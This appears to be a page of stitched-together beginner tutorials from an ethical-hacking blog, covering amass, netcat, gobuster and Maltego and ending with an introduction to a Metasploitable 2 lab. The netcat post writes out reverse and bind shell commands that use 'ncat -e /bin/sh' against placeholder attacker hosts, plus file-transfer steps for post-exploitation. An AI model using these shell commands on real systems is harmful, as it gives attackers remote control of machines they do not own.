Category: Uncategorized

Posted on by

Beginners guide to amass

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about network footprinting. It is performed to discover assets of the organization that are exposed to the internet. In this blogpost, you will learn about a tool. amass that can discover majority of any organization’s exposed assets.

OWASP Amass used mainly to find assets mapped to a particular domain, perform sub-domain enumeration, autonomous system numbers (ASNs) etc. Although there are many other tools that can enumerate sub-domains etc. (for example gobuster), this tool as you can see is backed by OWASP. Let’s see how to use this tool to discover assets of an organization.

Amass is installed by default in almost all pen testing distros. For this blogpost, we will be using Kali Linux. It doesn’t have a man page yet, but we can see all the options it supports using the help option.

Amass 1 1

Amass has 5 subcommands as shown below.

Amass 2 1

Each subcommand has its own help section. For example, let’s see the “intel” subcommand first.

amass intel

Amass 3 1

The ‘intel’ subcommand is used to discover targets to perform enumeration later. We can specify an IP address, IP address range, domain etc as targets to this command.

Amass 4 1
Amass 5 1

Apart from these, even ASN can also be specified as target.

amass enum

This sub command is used to perform enumeration and network mapping of the discovered targets.

Amass 6

Using it, we can perform DNS enumeration too. All the findings of “amass enum” command are stored in a graph database, which is located in the amass’s default output folder. To enumerate subdomains of a domain using amass enum, this is the command.

amass enum -d owasp.org -whois
Amass 7

Adding, “-ip” option to the above command, we can also get IP addresses for the sub domains discovered.

Amass 8
Amass 9

Amass queries more than 80 sources to collect information. All the sources it queries can be seen using the list flag.

Amass 10

Learn how to perform OSINT with theharvester tool.

Posted on by

Hackers guide to netcat

Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

Port scanning

Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

nc -zv <target ip> <target port>
Netcat 1
Netcat 2

You can scan multiple ports at once using netcat.

nc -zv <target ip> <target port 1> <target port 2> <target port 3>
Netcat 3

You can even scan a range of ports at once using it.

nc -zv <target ip> <range of ports>
Netcat 4

Grabbing banners

There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

nc <target ip> <target port>
Netcat 5
Netcat 6

For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

Netcat 7

File Transfer

This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

nc -l -p <target port> > <file>
Netcat 8 1024x72

Then on the attacker system, type the below command.

nc <target IP> <target port> < <file>
Netcat 9

Here is the file that is transferred to the target system.

Netcat 10 1024x102

Bind and Reverse shells

You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

ncat -lvp <port to listen on>
Netcat 11

Then, type the command shown below on the target system.

ncat <attacker system's ip> <port attacker is listening on> -e /bin/sh
Netcat 12 1024x98

As soon as you do that on the target system, we get a shell on the attacker system.

Netcat 13

To get a bind shell, first we need to start a listener on the target system as shown below.

ncat -lvp <port to listen on> -e /bin/sh
Netcat 14 1024x130

Then on the attacker system, do this.

nc <target IP> <target port>
Netcat 15

Here’s the bind shell.

Netcat 16 1024x174
Netcat 17
Posted on by

Beginners guide to gobuster tool

Hello, aspiring ethical hackers. In one of our previous blogposts, you studied in detail about website footprinting and different methods used to gather information about a website. In it you have learnt that directory scanning and subdomain enumeration is one of the techniques used to gather information about a website. In this blogpost you will learn about a tool named gobuster which can do both.

Gobuster is a tool built in Go programming language that can brute-force URIs (directories and files) in websites, DNS subdomains, virtual host names on target web servers, open Amazon S3 buckets, open Google cloud buckets and TFTP servers. It is present by default in the repositories of Kali Linux and can be installed by just typing the command as shown below.

Gobuster 1 1

Once installed, gobuster can be used using the same command.

Gobuster 2 1

There are different modes in gobuster tool for different operations. No matter what mode you use, since Gobuster is a brute-forcing tool it needs a wordlist. Let’s see how to scan web directories first. For this tutorial, we will be using Mutillidae as our target. It is installed by default in Metasploitable 2. See how to install Metasploitable 2 in VirtualBox and see how to create a web application penetration testing lab.

Let’s see how to scan directories with Gobuster.

Gobuster 3 1

Let’s explain the options here.

dir – to scan for directories.

-u: URL to be scanned.

-w: wordlist from which earlier are scanned.

Here is the result of this scan.

Gobuster 4 1
Gobuster 5 1

You can see that gobuster found some interesting files along with a file named “passwords”. As an exercise, scan DVWA also as it is also installed by default on Metasploitable 2.

Gobuster 6 1

Now, lets see how to scan for subdomains using gobuster. We have to just change the “dir” option to “dns”.

Gobuster 7 1
Gobuster 8 1

Learn how to perform directory scanning with dirb.

Posted on by

Beginners guide to Maltego

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt what is OSINT in detail. In this blogpost, you will learn about Maltego, one of the most popular tools used to perform OSINT. Maltego is an open-source tool that is used for OSINT, forensics and other investigations. It is a link analysis software that offers real-time information gathering.

Maltego focuses on analyzing real world relationships between people, groups, webpages, domains, networks internet infrastructure and what not. Using maltego, we can extract information like DNS records, whois records, Phone numbers, email addresses, IP addresses and metadata etc.

Some of the most important data sources queried by Maltego include vulners, dorking, OpenPhish, Image Analyzer, Hunter, Censys, Google Social Network Tools, VirusTotal Premium, NIST, Pipl, Whois XML, Wayback machine, Phone Search, Shodan etc.

Maltego runs on Linux, MacOS and Windows. For this tutorial, we will be using Maltego on Kali Linux. Open terminal and type command “maltego”. The system will prompt you if you want to install maltego as shown below.

Maltego 1 1
Maltego 2 1

After the installation is finished, Maltego will prompt you to select a product. You need to have an account with Maltego to use it. Register for a free account. (Maltego CE (FREE) account by clicking on “Register”.

Maltego 3

Accept the terms and click on “Next”.

Maltego 4

(You can either create a account from this tool or create it from their website). Login into your account.

Maltego 5

You will be taken to the browser. Login into your account created earlier.

Maltego 6

After a few seconds, you will get a message that the authentication is complete.

Maltego 7
Maltego 8

Click on “Next”. Select “standard transform” option and click on “Next”.

Maltego 9

Click on “Next”.

Maltego 10

In the next window, make appropriate choice and click on “Next”.

Maltego 11

Choose a browser and click on “Next”.

Maltego 13

Click on “Next”.

Maltego 14

Select the option “Open a blank graph and let me play around” option and click on “Finish”.

Maltego 15

If you select the option “Open an example graph”. You will see this.

Maltego 16 1024x610
Maltego 17 1024x609

You will get to the interface of Maltego. Maltego calls the queries you search for as entities. These entities can be anything like name of a person, IP address, email address, domain etc. In the entity Palette, search for “email” as shown below and drag the result into the graph.

Maltego 18 1024x612

Click on the entity in the graph to change it to the email address you want to search for.

Maltego 19

For example, let’s search for information related to our company.

Maltego 20 1024x611

In order to search for anything related to this email, right click on the entity.

Maltego 21 1024x603

There are various transforms you can search for like IP addresses, domains etc. Click on running on all transforms to see all the transforms available.

Maltego 22 1024x605

From here, you can select any transform you want. For example, run “to domains”.

Maltego 23 1024x612

As you can see, the domain related to this email is displayed. You have read just now that Maltego is a link building software. We can also run a transform on this resultant domain. For example, right click on the domain, and select To email addresses transform again.

Maltego 24 1024x600

Like this, we can search for related email addresses, Phone number, domain, DNS entries, usernames, social media accounts, etc. using this tool. Learn how to perform OSINT using SpiderFoot.

Posted on by

Hacking Metasploitable 2: Comprehensive guide

Hello, aspiring ethical hackers. In this blogpost, you will learn about Metasploitable 2. While learning ethical hacking, every student may feel like he is understanding everything while listening to the theory classes and find himself/herself stumped while performing practical. That is the reason practice is must for every learner.

This brings forward another problem hacking students may face while looking to practice. What to practice on or how to practice. Can you practice on real-world networks? If the thought of practicing your skills on real-world targets allures you, remember that almost all countries around the world have stringent anti-hacking laws. Your intent may not protect you from going to jail. Not to forget the point that you will not get favorable targets for practicing your skills. What if there was a safe way to practice all our hacking skills in peace and contentment? This brings us to Metasploitable.

What is Metasploitable 2?

Metasploitable is a test environment that gives you a safe target to practice pen testing. It is designed to be intentionally vulnerable with many number of vulnerabilities. Apart from vulnerabilities, it has a lot of services that are made vulnerable to be exploited. Overall Metasploitable 2 can give you lot of practice to hone your cybersecurity skills. This article is a comprehensive guide on hacking Metasploitable 2. Normally this requires Metasploit.

See how to install Metasploitable 2 in VirtualBox.

Metasploitable 2 is our target system to practice our pen testing skills. To practice perfectly, you need lot of tools. Better than tools, It’s good to have an attacker system that has a collection of all the pen testing tools. There are many pen testing distros on internet. For its popularity, I will select Kali Linux.

See how to install Kali Linux in VirtualBox.

Let’s create a hacking lab using both these systems.

See how to create virtual hacking lab on VirtualBox.